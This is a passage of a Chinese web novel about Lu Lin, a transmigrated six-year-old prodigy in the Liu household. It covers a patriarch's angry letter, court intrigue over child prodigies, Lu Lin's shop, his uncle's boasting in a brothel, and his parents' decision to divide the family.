“公公在信里说什么了?可有夸赞咱们治家有方?” 老爷的脸色,愈发古怪。 他没有说话,只是把那封信,推到了林氏面前。 林氏带着几分疑惑,接过了信纸。 字迹苍劲有力,笔锋锐利,一如公公那强硬的性子。 可信上的内容,却让林氏脸上的笑容,瞬间凝固。 信的开头,没有半句问候,开头就是两个字。 “逆子!” 林氏继续往下看: “来信已阅,字迹尚可辨,然其内容,着实令老夫心寒。 吾儿,汝身居清河一隅,享安逸之乐,竟将柳氏百年之基,视若儿戏乎? 吾与汝兄在京城,朝堂风云诡谲,步步为营,为柳家基业呕心沥血,汝却在家中,连一稚童之事,亦处理不当,何其愚也! 柳氏以诗书传家,文脉绵延,岂容汝等断绝? 吾死后,有何颜面去见列祖列宗? 至于汝信中所提卢璘一事,更是荒谬绝伦! 汝孙柳权,吾柳家嫡脉,天赋虽不显,然勤勉可期,汝不思如何用心教导,反效他人,行那立神童之歪门邪道,妄图走捷径,岂不贻笑大方? 天下神童,何其多也! 今岁开年至今,大夏三京二十七府,报上之所谓神童,不下百余! 汝以为凭此等雕虫小技,能入为父之眼乎? 吾儿,收敛汝那点小聪明,将心思尽数放在权儿身上,方是正道! 切勿再行此等荒唐之事,徒惹人笑! 望汝自省,勿再令为父失望! 父字。” 林氏合上信纸,只觉得又好气又好笑。 信里的大意先是劈头盖脸狠狠地骂了一顿丈夫,说他治家无方。 又说他不好好教亲孙子,反而去捧什么神童,很荒谬,让他别再做这些丢人的事。 她甚至能想象到自家公公吹胡子瞪眼的模样。 若是老爷此刻站在公公面前,怕是少不了一顿家法伺候。 难怪丈夫刚才一副吃瘪又无语的表情。 “要不是隔着山长水阔,老爷您这顿打,怕是躲不过去了。” 林氏将信纸轻轻放回桌上,语气里带着调侃。 柳老爷脸上露出一丝苦笑,自家爹什么性格,他哪能不清楚。 第29章 沈夫子的决断 林氏的目光重新落回信上,柳眉微蹙。 “只是,信里说,各地报上的神童,不下百余?” “这是怎么回事?” 老爷长长地叹了口气,将其中的关键细细道来: “还不是因为当朝那位内阁首辅,宴居大人。” 林氏的眼神微微一凝。 宴居。 这个名字,在大夏朝堂,几乎无人不知。 当朝内阁首辅,圣眷正浓,可谓权倾天下。 “去岁听闻,咱们当朝首辅在圣院另辟蹊径,建了座太学,对外宣称,专收天下神童。” “上行下效,下面的人自然是削尖了脑袋投其所好。” “这一年里,各地的神童,便如那雨后春笋,一个个都冒了出来。” “我们这次,倒像是误打误撞,一头扎进了这趟浑水里。” 林氏冰雪聪明,瞬间就想通了其中的关节,秀丽的脸上浮现出忧色。 “这么说来,往后神童这两个字,反倒会因宴居的名声所累,成了个烫手山芋?” “何止是烫手山芋。” 柳老爷的脸色沉了下来。 “宴居此人,圣眷正浓,行事却霸道无比,早已树敌无数,已是烈火烹油之势。” “一旦他倒台,那些被他捧起来的所谓神童,必定首当其冲,成为人人喊打的过街老鼠。” “到那时,‘神童’二字,恐怕就要彻底沦为笑柄。” 林氏心中一凛,最后一丝疑惑也烟消云散。 自家公公与那宴居,在朝中向来政见不合,是出了名的死对头。 自然是厌恶透了这股子歪风邪气。 也难怪公公收到丈夫的书信这般火大。 “其他地方神童是真是假咱们不清楚,可咱们卢璘确是做不了假!” “连沈夫子都对卢璘另眼相看了,沈夫子什么人,前任内阁次辅,他的眼光还能有错?”林氏开口道。 老爷闻言,摇了摇头,眉头越发紧皱。 他当然也清楚卢璘做不了假。 光是这几天府里新增的读书种子,就是最好的明证。 可坏就坏在时机不对,居然阴差阳错和宴居扯上了关系。 “宴居独揽大权多年,朝野上下,心怀不满者大有人在。” “他一旦失势,迎来的必然是雷霆万钧般的清算。” “那些被他捧上天的神童,又怎么可能独善其身。” 夫妻二人对视一眼,都在对方眼中看到了深深的忧虑。 屋内的灯火,不知何时,也跟着黯淡了些许。 老爷才发出一声悠长的叹息。 “这卢璘……往后的路,怕是难走了。” .......... 柳老爷收到了柳太爷的回信,沈春芳同样也收到了。 静心堂内,烛火摇曳。 沈春芳摊开一封回信,信纸上熟悉的字迹如刀劈斧凿,力道依旧。 可他的脸上,却是哭笑不得的神情。 开头没有半句寒暄。 只有两个大字,几乎要从纸上跳出来,指着他的鼻子骂。 “胡闹!”沈春芳的嘴角抽了抽。 信里的内容,更是让他无语。 大意是让自己这把老骨头安分一点,既然已经致仕了,就别再折腾。 好好在柳家养老,帮着带带孙子,发挥一下余热。 柳拱甚至在信里信誓旦旦地保证,将来一定在朝堂上,为他沈春芳挣一个风光体面的谥号。 看到这里沈春芳忍不住破例,爆了句粗口。 “这老东西,我还没死呢,要你挣什么谥号。” 对于卢璘,柳拱倒是提了一句,说相信他沈春芳的眼光,那孩子或许真有些过人之处。 但话锋一转,又让他务必低调行事,切莫过分张扬什么神童之名。 沈春芳久不在朝堂,直到看了这封信,才知道缘由。 原来宴居在圣院之外另起炉灶,大张旗鼓地要网罗天下神童。 “这个老犟驴……” 他骂的,自然是自己的挚友柳拱。 因为政见不合,就将宴居所行之事一概视为歪门邪道,连带着对神童二字都厌恶至极。 何其不知变通。 如果说之前,沈春芳对卢璘那妖孽般的天赋,还存着一丝疑虑。 那这几天的相处,则彻底打消了他所有的怀疑。 就在两天前,卢璘主动找到他,希望能加快学习的进度。 “夫子,学生的底子薄,但还请您加快些进度。” 沈春芳活了六十余载,还是头一次听到有蒙童主动要求加课业的。 他当时只当是童言无忌,甚至有些好高骛远。 于是,他存了心要考校一番,甚至可以说是刁难。 “三日之内,通读《大夏礼典》、《山河堪舆志》、《百家经义》,三日后,我来问你。” 这三本书,任何一本,都足以让一个成年儒生皓首穷经,钻研数年。 他要一个六岁的孩子,在三日内通读。 这根本不是教导,而是惩戒。 让卢璘脚踏实地,把基础打扎实。 然而,三日之后。 当他将卢璘叫到书房,随意抽查《大夏礼典》中关于“郊祀”的章节时。 卢璘不仅对答如流,甚至还能一字不差地背出原文。 这已经让沈春芳足够震惊。 可接下来,卢璘的一番话,才真正让他感到了遍体生寒。 “夫子,学生以为,此章节所述祭祀之法,源于前朝末年,实为当时方士为媚上所创,其仪轨繁复,耗费巨大,于国无益,于民有损,乃是礼崩乐坏之兆,而非盛世之典。” 一针见血,直指核心。 这番见解,已经超出了理解的范畴,而是站在了更高层面。 这哪里是一个六岁的孩子。 分明是一个浸淫经史百年的大儒才能说出的话。 沈春芳闭上眼,脑海中尽是卢璘那张平静的脸。 璞玉? 不。 这根本就是一块藏于深山的神石。 而自己,不过是恰好路过,拂去了上面的尘土罢了。 一朝尘尽光生,照破山河万朵。 宴居网罗的那些所谓神童,不过是些追名逐利的沽名钓誉之辈。 如何能与卢璘相提并论。 想到这里,沈春芳眼中不再犹豫。 重新拿起笔,蘸饱了墨。 这一次,他不再是写信。 而是为卢璘重新制定了一份符合他的天资的学习章程。 柳拱啊,你个老顽固,且在京城好好看着。 第30章 休沐日 三天后的休沐日。 天高云淡。 清河县最繁华的清河大街上,一辆由青布罩顶的马车缓缓停下。 车夫掀开帘子,先跳下来的是个身穿锦缎小衫的胖乎乎男童,正是柳家少爷柳权。 紧接着身后跟着下来一个身形稍显清瘦的男童,眉目清秀,神色平静,正是卢璘。 两人站定的地方,正对面是一家正在修缮的铺子。 上面金钩银划写着三个字“冰玉轩”。 铺面位置极佳,左边是县里最大的银楼“宝源斋”,右边是传承百年的“同仁堂”药铺。 能在这条街上开店的,无一不是清河县有头有脸的商家。 而冰玉轩的位置则夹在两者中间,更是寸土寸金。 正对面是一座三层高的朱红阁楼,飞檐翘角,雕梁画栋。 门口挂着一排精致的红灯笼,即便是在白天,也透着一股说不出的靡靡风情。 几个正在铺里忙活的家丁看到两人,立刻停下了手里的活计,快步迎了上来。 为首的一个管事模样的中年人,对着卢璘躬身行礼,态度恭敬。 “璘哥儿,您来了。” 这声璘哥儿,叫得自然无比。 其他家丁也没有半点别扭,一个个和卢璘打招呼。 反倒是少爷被他们下意识地略过。 府里不少家丁都在静心堂里旁听认字,受过卢璘那首《劝学》的恩惠,对卢璘是打心底佩服。 更何况,眼前这个铺子,从盘下来到取名“冰玉轩”,再到只走高端订制路子的章程,甚至连这带着几分雅致的装修图纸,全都出自璘哥儿之手。 他们是打心底里服气。 璘哥儿这脑袋怎么长得,怎么什么都知道啊! 卢璘微微颔首,回应过后,迈步走进还在修缮的铺子。 木屑与桐油的味道混杂在空气里,并不难闻。 “前堂的桌椅,用花梨木。” “后院的水井,再往下深挖三尺,用青石板砌好井壁。” “铺子里的牌匾,字我已经让夫子写好了,用黑底金漆,三日后找人来取。” “记住,咱们走的是清河县上层人的路线,走定制化路线,冰玉轩的装饰,要让对方觉得这钱花得值。” “还有之前和你们说过的,奇货可居、会员制等,你们要抓紧时间吃透。” ........ 卢璘边走边看,管事拿着个小本子,跟在后面,将卢璘说的每一句话都仔仔细细地记下,时不时点头称是。 “有了这一整套超前的营销组合拳的降维打击,生意应该不会差,到时候爹娘的日子也能好起来了。” 卢璘惦记着李氏和卢厚,对这家冰玉轩倒是很上心。 毕竟铺子里的分红里有属于卢璘的两成。 一旁的少爷背着手,挺着小肚子,在铺子里东看看,西瞧瞧,像个巡视领地的将军。 可没过一会儿,他就觉得没劲了。 因为所有人的目光,都聚集在卢璘身上,根本没人搭理他这个正牌少爷。 少爷有些无语,每次和璘哥儿出来就这个样子,真无趣。 “璘哥儿,下次本少爷再也不要跟你出来了,不知道的,还以为你才是少爷,我就是个跟班的。” 卢璘回头一笑,没有搭理他。 转头让随行的家丁带少爷找个地方休息。 “璘哥,你快点搞完啊,再慢点清河街上表演节目的都走光了。” 少爷一步三回头,不过还是老老实实地跟在家丁身后。 少了少爷的嘀咕,卢璘专注和管事的沟通其他要注意的问题。 .......... 半晌后,在少爷等的不耐烦的目光中。 卢璘结束了这次行程。 两人一前一后地走了出来。 刚一出门,少爷的目光,一下子就被街对面那座三层高的朱漆小楼给吸引了。 雕梁画栋,红绸高挂,门口站着几个衣着鲜亮,巧笑嫣然的女子,正摇着团扇,招揽着过往的行人。 空气中,飘来一阵若有似无的脂粉香气。 “璘哥儿,那是什么地方?看起来好热闹。”少爷眼里满是没有被知识污染过的清澈。 卢璘的目光悠悠地扫了一眼那块写着“醉仙楼”的烫金牌匾。 “听曲喝酒的地方。” 少爷撇了撇嘴,觉得有些无趣。 “听曲喝酒?” “那有个鸟用啊?” “嗯,确实有鸟用。” 少爷没听出话里的深意,反而被勾起了更大的好奇心。 “真有鸟用啊?是什么鸟?上次我爹带回来的那只会说话的鸟,没几天就玩腻了,翻来覆去就那几句话。” “走走走,我们过去看看。” 被少爷推着往前走的卢璘心头微微一动。 两世为人,他还真没进过这种地方,勾栏听曲到底是个什么光景,他一个二十一世纪的大好青年,也只在影视剧里见过。 可他低头看了看自己这副六岁的小身板。 这个年纪去…… 有个鸟用啊? 毛都没长齐.... 无奈收回目光,摇了摇头。 “不行。” “夫子交代的课业,我还没完成呢。” 听到课业两个字,少爷看向卢璘的眼神里充满了同情。 夫子给卢璘布置的功课,是他们这些蒙童的十几倍。 光是看一眼那厚厚的书单就头皮发麻。 可卢璘倒好,每天就跟翻画本似的,轻松写意。 ........ 两人正准备上马车,打道回府。 恰在此时,街对面那座朱红阁楼的门被推开。 一股混杂着酒气与廉价脂粉的味道,瞬间冲了出来。 几个醉醺醺的读书人打扮的汉子,勾肩搭背,摇摇晃晃地走了出来。 其中一个男子,被一个衣着暴露的青楼女子搀扶着,脚步虚浮,满面红光。 刚准备登上马车的卢璘,倏然顿住。 那张醉得通红的脸,正是自家大伯。 此时的大伯一手搂着小娘的纤腰,一手还在不稳地比画着。 “小美人,你放心。” “等我今年县试一过,中了秀才,老爷我……有的是钱。” “到时候,给你赎身,那还不是小事一桩。” 他身旁一个同样喝得七荤八素的朋友,一把拍在他的背上,差点把他拍倒在地。 “听见没,卢兄都发话了!” “你跟了卢兄,以后就是享福的命!” “我跟你说,卢兄可不是一般的读书人,他有背景!” 那朋友凑到小娘耳边,神秘兮兮地压低了声音。 可醉醺醺的汉子,哪能控制自己的嗓门,半条街都听得见。 “咱们县清河柳家,知道不?柳老太爷什么人,那是当朝阁老!” “柳老爷当年也是举人出身,当过一地知府的人物。” 小娘哪能不知道清河柳家啊,可来醉仙楼的恩客们,十个有八个能和清河柳家扯上关系。 尤其是喝醉了酒之后。 大伯的友人见小娘有些不信,大笑一声: “你们可就不知道了吧,柳老爷对卢兄可是十分看重。” “不仅看在卢兄的面子上,收了卢兄的侄子当干儿子,还亲口说了,卢兄是有大才的,之前都是时运不济,今年这秀才,是铁定能中的!” 小娘听对方说的有鼻子有眼的,原本还带着几分敷衍的笑容,眼睛瞬间就亮了。 看向大伯的眼神里,一下就变了。 “哎呀,卢大爷,原来您跟柳家还有这层关系。” “奴家真是有眼不识泰山,能遇上您,真是奴家的福气。” 卢安被这崇拜的眼神和恭维的话语,捧得浑身舒坦,三魂七魄都快飞了出来。 故作深沉地摆了摆手,脸上的得意却怎么也藏不住。 “低调,低调。” “柳老爷虽然看好我,但也嘱咐过,让我不要太过张扬。” 他打了个酒嗝,又夸下海口。 “不过你放心,以后在这清河县,要是有什么麻烦,你尽管写封信送到柳家去,提我的名字,我帮你摆平。” “多谢卢大爷!” 女子笑得花枝乱颤,整个人都快贴到了大伯身上。 第31章 爹娘来了 一旁的少爷,早就听得目瞪口呆。 柳家? 我爷爷? 我爹的干儿子? 我爹什么时候冒出个干儿子了? 哪里冒出来的狗东西,竟敢打着柳家的旗号在外面招摇撞骗! 少爷怒不可遏,撸起袖子就要往前冲。 一只手,却在这时稳稳地拉住了他的胳膊。 少爷一愣,回头看去。 璘哥儿平时那种平静淡然的脸上,此刻沉得能滴出水来。 “璘哥?”少爷的声音不自觉地弱了下去。 卢璘没有说话,目光穿过人群,钉在大伯身上。 “回去再说。” 上了马车,卢璘双眼微闭,靠着车厢。 少爷不明情况,也不敢打扰,在一旁生着闷气。 他搞不懂璘哥儿为何制止自己揭穿那个骗子。 难不成是璘哥认识的? 好一会,卢璘才睁开双眼,深吸了口气,脸色恢复如常。 少爷这才试探性地开口:“璘哥儿,那人你认识?” 卢璘淡淡点头:“嗯,这是我大伯。” 少爷愣住了,片刻后,脸上挤出一个尴尬的笑容。 “那……那也不算招摇撞骗吧?” “好歹……好歹也算半个亲戚,不算招摇撞骗。” 卢璘被少爷眼中清澈的愚蠢给逗笑了,伸手摸了摸少爷的头。 “我是我,他是他。” 一句话,简简单单,却又清清楚楚地划下了一道界线。 马车内,重新陷入了安静。 卢璘目光再次平静下来。 之前印子钱的事还没算呢。 现在,又闹出这种在青楼打着柳家旗号招摇撞骗的丑事。 以后呢? 以后还指不定会发生什么事。 一个念头突然在脑海中浮现。 分家。 不能再等了。 必须分家。 这个念头一出,卢璘目光越发清晰。 之前不是没想过分家的念头。 只是祖父祖母虽然偏心,但对自己这个孙子,终究是存着几分真心疼爱的。 当初把他卖到柳家当书童,是万般无奈下的选择。 更重要的,是为老爹卢厚考虑。 祖父尚在,贸然提出分家,便是大不孝。 以自家老爹那忠厚老实的性子,宁可自己受尽委屈,也绝不会背上不孝的骂名。 可现在,大伯的所作所为,已经越来越过分。 而且印子钱那件事,爹娘恐怕至今都还被蒙在鼓里。 这根刺,必须拔掉。 否则,好不容易为这个小家挣来的一点光景,迟早要被大伯给拖进泥潭里。 ......... 马车缓缓停下,柳府到了。 卢璘和少爷刚从车上下来。 一个家丁便急匆匆地跑了过来,脸上满是喜色。 他越过少爷,径直跑到卢璘面前。 “璘哥儿!好消息!” “王管事把您爹娘接过来了!” 卢璘心头一震,前一刻还略显沉闷心情,瞬间被巨大的喜悦冲散。 “在哪?” “就在清心园,夫人正陪着说话呢!” 家丁连忙在前头引路。 卢璘快步跟上,少爷也一脸好奇地紧随其后。 还未走近清心园,远远的,就听见了林氏温和的笑语声。 卢璘放慢了脚步,透过一道圆形的拱门向里望去。 院内的石桌旁,爹娘正拘谨地坐着。 他们身上换了干净的细棉布衣裳,虽然依旧朴素,却比在村里时整洁了太多。 只是刻在骨子里的局促,显得有些拘谨。 林氏正端着茶,脸上带着亲切笑容。 “……这孩子,真是你们教得好。” “有孝心,有才华,老爷和我,都喜欢得紧。” “你们来一次不容易,这次一定要多住些日子。” “璘哥儿看时辰,也差不多该回来了...” 话音刚落,月亮门外传来一声呼唤。 “爹,娘。” 石桌旁的李氏和卢厚猛地回过头。 李氏看见卢璘的那一刻,眼圈瞬间就红了。 “霍”的一下站起来。 快步冲到卢璘面前,一双粗糙的大手,一下就捧住了卢璘的脸,仔细抚摸。 摸完了脸,又去摸他的胳膊,看他的身子。 “长高了,也长胖了。” 李氏声音带着哽咽,眼眶里有泪水在打转。 卢厚站在一旁,没有说话,只是咧着嘴憨厚地笑着。 笑容里,有欣喜,还有骄傲。 卢璘任由李氏抚摸着,闻着李氏身上熟悉的味道,心里踏实极了。 李氏松开后,又仔仔细细地打量了儿子一圈,脸上满是笑意。 卢璘转过头,看向自家老爹憨厚的笑脸。 上前一步,轻轻抱住了父亲的腰。 “爹,你的腿怎么样了?” 老实人卢厚被卢璘这突如其来的拥抱弄得有些手足无措。 手都不知道往哪放,在半空中愣了好一会,才轻轻落在卢璘背上,笨拙地拍了拍。 “好多了,好多了。” “多亏了柳家请的大夫,说是再养些时日,就能痊愈了。” 一旁的林氏看着这温情的一幕,面带微笑,对一旁的李氏打趣道。 “妹子,这下眼见为实,该相信璘哥儿在府里过得好了吧。” 李氏闻言,一张脸涨得通红,连忙摆着手,拉着丈夫就要下跪。 “夫人说笑了,我们……我们怎么敢……” “我们给您磕头了,谢谢夫人,谢谢老爷。” 林氏身边的家丁眼疾手快,立刻上前一步,将两人扶住。 林氏则优雅地放下茶碗,语气温和。 “快起来,一家人不说两家话。” 没有再多说什么客套话,转头吩咐一旁守着的下人。 “时辰不早了,准备开饭吧。” ............ 午膳很快就备好了。 尽管在这些天在家里过了几天好日子,可这柳府的午膳还是让李氏和卢厚目瞪口呆。 大圆桌在清心园的亭子里摆开。 桌上铺着一张绣着缠枝莲纹的湖蓝色桌布。 一盘盘李氏和卢厚都叫不出名字的菜肴,摆放其上。 琥珀色的红烧肘子,泛着诱人的油光。 一整条清蒸鲈鱼,鱼肉雪白,散发着淡淡的鲜香。 一碟碧绿的翡翠白玉羹,清雅别致。 一小碟晶莹剔透的蜜饯果脯。 中央那几盏青瓷碗。 碗里盛着冒着丝丝寒气的酸梅汤,汤面上浮着几块晶莹剔透的碎冰。 还有各种各样李氏和卢厚都难以形容的菜品,一看就不一般。 主食是热气腾腾,泛着微红色的胭脂米,李氏和卢厚更是闻所未闻。 两人有些手足无措,举着筷子不知道该怎么下手。 林氏很贴心地夹起一筷子水晶肘子放到李氏的碗里。 “妹子,当自己家就行,随便吃。” 这时,一个丫鬟又端上来一碗晶莹剔透的冰沙,上面还点缀着几颗鲜红的果子。 林氏又笑着将冰沙推到李氏面前。 “尝尝这个,这可都是咱们璘哥儿的功劳。” 李氏看着碗里那从未见过的吃食,眼中满是茫然。 她不懂什么叫功劳。 但她知道,自己的儿子,是真的出息了,得到了主家的认可和喜爱。 连带着自己和男人都得到了对方的重视。 卢璘全程微笑,连带着李氏和卢厚也慢慢放开了拘束。 一顿饭其乐融融,很快便吃完了。 结束后,林氏体贴地给卢璘放了假,让他好好陪陪父母。 她则带着少爷准备离开。 少爷一步三回头,眼巴巴地望着卢璘。 “璘哥儿,晚上还有孙悟空的故事听吗?” 卢璘笑着点了点头。 少爷顿时一阵欢呼,转头高高兴兴地跟着林氏走了。 这时,一名家丁走上前来,恭敬地对着卢璘和他的父母做了个请的手势。 “璘哥儿,夫人给二位准备了歇脚的院子,请随我来。” 家丁领着三人,穿过几道回廊,来到一处僻静的跨院。 院子不大,却打扫得干干净净。 推开房门,一股清香扑面而来。 屋内的陈设简单却很干净,桌椅都擦得一尘不染。 床上的被褥,是崭新的细棉布,叠得整整齐齐。 角落的炭盆里,还温着一壶热茶。 每一个细节,都透着用心。 第32章 分家 家丁识趣的退下,轻轻带上了房门。 “吱呀”一声轻响后。 屋子里,瞬间只剩下了卢璘一家三口。 李氏和卢厚也没了之前的拘束感,好奇打量着新环境。 等李氏感叹完夫人的贴心,卢璘才拉着李氏和卢厚坐在床边。 卢璘的目光,落在爹娘身上这套崭新的衣裳上。 “爹,娘,你们这身新衣裳可真好看。” “看来祖父这次没偏心,把那几两银子给你们做衣裳了。” “没把钱都给大伯拿去游学啊。” 李氏一听,连忙摆手解释: “傻孩子,说什么呢。” “这哪是家里的钱,这都是上次夫人给你的赏赐,王管事特意给咱们送来的。” “赏赐?什么赏赐?”卢璘有些疑惑。 李氏见儿子发愣,这才反应过来,夫人应该是瞒着儿子做的这事。 便将那天王管事去下河村的经过,一五一十地细细道来。 “……整整五大袋白花花的粳米,还有两大坛子清油,一整扇的猪肉,好几只肥鸡。” “还有几匹上好的布料,你身上这件就是。” “最后,王管事还拿出了五十两的纹银,说是夫人赏给咱们家用的。” “你爹怕你以后名声太大,招人嫉恨,就跟你爷爷提议,拿出一部分米面油,分给了村里几户过不下去的人家。” “你爷爷也答应了,说这是为你积福,为你攒个好名声。” 原来是这样。 卢璘心中了然点了点头,夫人居然还背着自己给爹娘送了份东西。 李氏拉着卢璘的手,语重心长地叮嘱。 “璘儿,柳家是咱家的恩人,夫人更是菩萨心肠。” “没有柳家和夫人,咱家连饭都吃不饱,你爹还得被抓去服役。” “你是个有出息的孩子,以后一定要记着这份恩情,万万不可做戏里唱的那种忘恩负义的人。” 一直沉默的卢厚突然开口打断了李氏: “行了,别多嘴了。” “孩子心里有数。” 听着爹娘这一唱一和的,卢璘没有半点不悦,迎上母亲期盼的目光,笑着点了点头。 “娘,我知道。” 说完,卢璘话锋一转,看似随意地问了一句。 “那五十两银子,都交给祖父了?” “嗯,都交了。” “不过,你爷爷私下里,又偷偷塞了二十两给你爹。” “说是让我们自己留着,以备不时之需。” 二十两。 卢璘的眸光微微一闪。 原来如此。 “怪不得大伯有钱去醉仙楼里大手大脚地花销。”卢璘轻描淡写地提了一嘴。 “醉仙楼?” “什么地方?” 李氏和卢厚对视一眼,满脸都是茫然。 李氏连醉仙楼是什么地方都不知道。 卢厚一个老实巴交的庄稼汉子,听到是听过这个名字,也知道是勾栏听曲的的销金窟。 但卢厚更茫然了,醉仙楼和老大有什么关系。 这是普通庄户能去的地方吗? 卢璘没有隐瞒,将今天在清河大街上,看到的那一幕,原原本本地说了出来。 包括大伯是如何搂着风尘女子,吹嘘自己和柳家的关系。 又是如何信口雌黄,打着柳家的旗号,在外面招摇撞骗。 李氏听着听着,脸色就变了。 从茫然,到震惊,再到愤怒。 可卢璘的话,还没有说完。 他转过头,目光落在父亲那条不太利索的腿上,声音沉了下去。 “爹,你的腿,不是意外摔的吧。” 卢厚脸上的笑容,瞬间凝固。 卢璘看着父亲,将王管事查来的真相,说了出来。 “是大伯在外借了印子钱,写了你的名字。” “那些人是来讨债的,才打断了你的腿。” 轰的一声,这个消息如同晴天霹雳在李氏和卢厚耳边炸响。 李氏猛地瞪大了眼睛,嘴唇哆嗦着,一个字都说不出来。 而一直沉默的卢厚,脸色更是刷的一下,变得惨白。 好一会,李氏才声音凄厉地喊出声: “畜生啊!” “这还是人吗?这哪是亲哥啊,简直畜生都不如。” 说着,李氏冲到门口,伸手就要去拉门栓。 “不行,我得回去!” “我要回去找你爷奶评理!” “我要让全村的人都听听,都看看!他大伯到底是个什么东西!有这么当大哥的吗!” “娘,您冷静点。” 一只小手,沉稳地按住了她的手腕。 卢璘不知何时已经站到了她的身前,目光平静。 “现在回去,解决不了任何问题。” 李氏这会哪还有半点理智啊,这会满脑子都是他大伯欺负自家男人,要坏了自家儿子的名声。 “怎么解决不了?” “我要去问问你爷爷,他到底管不管!” “他要是还护着那个畜生,我就……我就一头撞死在卢家大门口!” 卢璘没有退缩,再次上前,用自己小小的身躯挡住了门。 “娘,您这样回去闹,只会把所有事情都压下来。” “事情还是解决不了。” 卢璘声音不大,却正好浇在了李氏烧得正旺的火头上。 李氏的动作一顿,通红的眼睛里闪过一丝茫然。 是啊。 回去闹,又能怎么样呢? 公公婆婆那偏到胳肢窝的心,难道还会向着他们不成? 到时候,说不定还要反过来骂他们不懂事,不顾全大局。 卢璘见李氏冷静了一些,才轻轻拉着她的手,将她重新扶回床边。 “娘,您别急。” “这件事,我有办法。” 说完,他转过身,目光落在了从始至终都低着头,一言不发的父亲身上。 卢璘走到他面前,蹲下身子。 “爹。” “您是怎么想的?” 卢厚缓缓抬起头,那张一向憨厚老实的脸上,此刻布满了痛苦与挣扎。 一边,是生他养他的父母,是一脉相承的兄弟,是几十年的父为子纲,孝道为先。 另一边,是为他受尽委屈的妻子,是寄托了全家希望的儿子。 他该怎么办? 他能怎么办? 看到丈夫这副犹豫不决的模样,李氏心头刚刚压下去的火,又噌地一下冒了起来。 “你还在想什么!” “你还想忍到什么时候去!” “你的腿都快被他打断了,你还当他是你大哥吗?” 李氏指着卢厚,气得浑身发抖。 “我告诉你,卢老二,你的腿断了不要紧,你受再大的委屈那是你的事!” “可谁要是敢坏了我儿子的前程,谁要是敢在外面败坏我儿子的名声!” “我就是拼了这条命,也要跟他没完!” 李氏声嘶力竭的吼出了最后一句,双眼通红,一副要和人拼命的模样。 这可是李氏的命根啊。 他大伯这是要掘了她的命根啊! 看着妻子这副要吃人样子,卢厚这才被点醒。 再多的委屈,他都可以忍。 被人骂,被人打,被人算计,他都可以忍。 可儿子不行。 璘儿是这个家的希望,是他们夫妻俩的命啊。 他自己可以一辈子被踩在泥里,但他绝不能让任何人,拖着自己的儿子一起掉进这片泥潭。 卢厚抬起头,迎上妻子和儿子的目光。 口中艰难挤出两个字: “分家。” 第33章 大伯拜访柳家 翌日清晨,天光微亮。 着急回去的李氏和卢厚早早便收拾妥当。 等忙完早课的卢璘一到,就在卢璘的带领下一同去了清心园。 林氏刚刚在婢女的帮助下整理好发簪,听闻李氏等人要走,连忙让人将他们请了进来。 “妹子,怎么这么着急回去?” “老爷前儿个才去了府城会友,还念叨着,等他回来定要好好感谢你们一番。” 李氏勉强挤出一个笑,一副心事重重的样子。 “劳夫人挂心了。” “只是家里头还有一堆事,实在是忙不开。” 嘴上说着客套话,心里却像是有根刺扎着,一刻也安生不下来。 能看着儿子在柳家过得这么好,她比谁都高兴,也恨不得能在这多陪他几天。 可一想到昨天那档子事,李氏就如坐针毡。 分家的事情一天不落定,她就总担心他大伯会再闹出什么幺蛾子,在外面胡说八道,败坏了璘儿的名声。 这可是比要了她的命还难受。 林氏一眼就看出了李氏心事重重,转头目光望向卢璘。 “璘哥儿,你也不劝劝你娘?” “你们这前脚刚来,后脚就走,传出去,倒像是我们柳家不懂待客之道了。” “等老爷回来,非要骂我不可。” 卢璘点了点头,知道夫人不是假意客气,是真心想让爹娘多住些日子,可耐不住老娘现在一刻也坐不住啊。 “多谢夫人美意。” “我爹娘都是闲不住的性子,让他们在府里享福,反倒浑身不自在。” “左右下河村离得也近,日后想来,机会多的是。” 话说到这个份上,林氏也不好再强留。 她叹了口气,转头吩咐身边的王管家。 “王管事,去,备好马车,你待会把妹子送回下河村。” “再把之前给准备的东西都装上。” 王管家应声而去,不多时便提着几个大箱子回来。 林氏亲自打开,一样样指给李氏看。 箱子里除了两匹靛蓝色的细棉布和一匹月白色的软缎,还额外添置了两身崭新的春衫,尺寸都是按着卢厚夫妇的身量准备的。 另有两包上好的茶叶,一坛子府城特产的糯米酒,还有一大盒稻香村的点心。 这些礼物不显山不露水,却处处透着贴心。 “你们走得太匆忙,我也没来得及准备更多,本来还有一些是老爷从府城里带回来的东西,也没赶上。” 林氏指着箱子里的东西。 “等过两日,我再让王管家给你们送到下河村去。” 李氏和卢厚连声道谢。 卢璘却突然开口: “夫人不必如此客气。” 他上前一步,对着林氏微微躬身。 “说起来,我还有一事,想劳烦夫人。” “我名下冰玉轩的那些分红,以后还请夫人直接转到我爹的名下。” 此话一出,屋内的空气瞬间一静。 林氏端着茶盏的手,在空中微微一顿。 她抬起眼,目光在卢璘那张平静的脸上转了一圈,又落到一旁局促不安的卢厚夫妇身上。 只一瞬间,她心里便雪亮一片。 分家。 这两个字,清晰地浮现在林氏的脑海中。 她瞬间就明白了卢璘此举的深意。 这是要给他爹娘一份傍身的底气,一份安身立命的产业。 也好。 林氏心中暗暗点头。 卢家那样的门楣,那样的亲戚,不分干净了,日后指不定会成为卢璘多大的拖累。 这孩子,看着年纪小,心思却比谁都通透,行事也果决。 “好,这件事我记下了。” 林氏放下茶盏,脸上露出了然的微笑。 不多时,王管家已经将所有东西都装上了马车,妥帖地摆放好。 林氏站起身,正准备亲自把李氏和卢厚送到门口。 一个家丁突然从外面匆匆忙忙地跑了进来。 “夫人!” “府外……府外有位自称是璘哥儿大伯的人,前来拜访。” 林氏闻言,下意识地转头望向卢璘一家三口。 只见除了卢璘仍旧淡定之外,李氏和卢厚一个个都愣住了。 显然卢家大伯这次拜访,李氏和卢厚都是不知情的。 甚至不仅仅是不知情那么简单,李氏脸上的慌乱可做不了假。 “妹子,你们且安心,这是柳家,容不得别人撒野。” 说完,对李氏递去一个安抚的眼神,随即又对那家丁道。 “请他去前厅奉茶,我稍后就到。” …… 前厅里,檀香袅袅。 王管家恭敬地站在一旁,亲自为穿着光鲜的大伯添上热茶。 林氏缓步走入,脸上挂着得体的微笑。 “大伯远道而来,有失远迎。” 大伯一见林氏,立刻从太师椅上站了起来,脸上堆满了谄笑。 “夫人抬举了,不敢当,不敢当。” “弟妹安好?”林氏微微颔首,目光不着痕迹地从他身上扫过。 目光在那件衣服上停留了一瞬,心里有些无语。 当初送去卢家的那匹湖州丝绸,还是她自己亲自选的,一共也就够做几身衣裳。 卢璘爹娘来的时候,都没穿这么好。 自己都半点没舍得用东西,倒全便宜了这位大伯。 大伯一边喝茶,一边打量着前厅的环境。 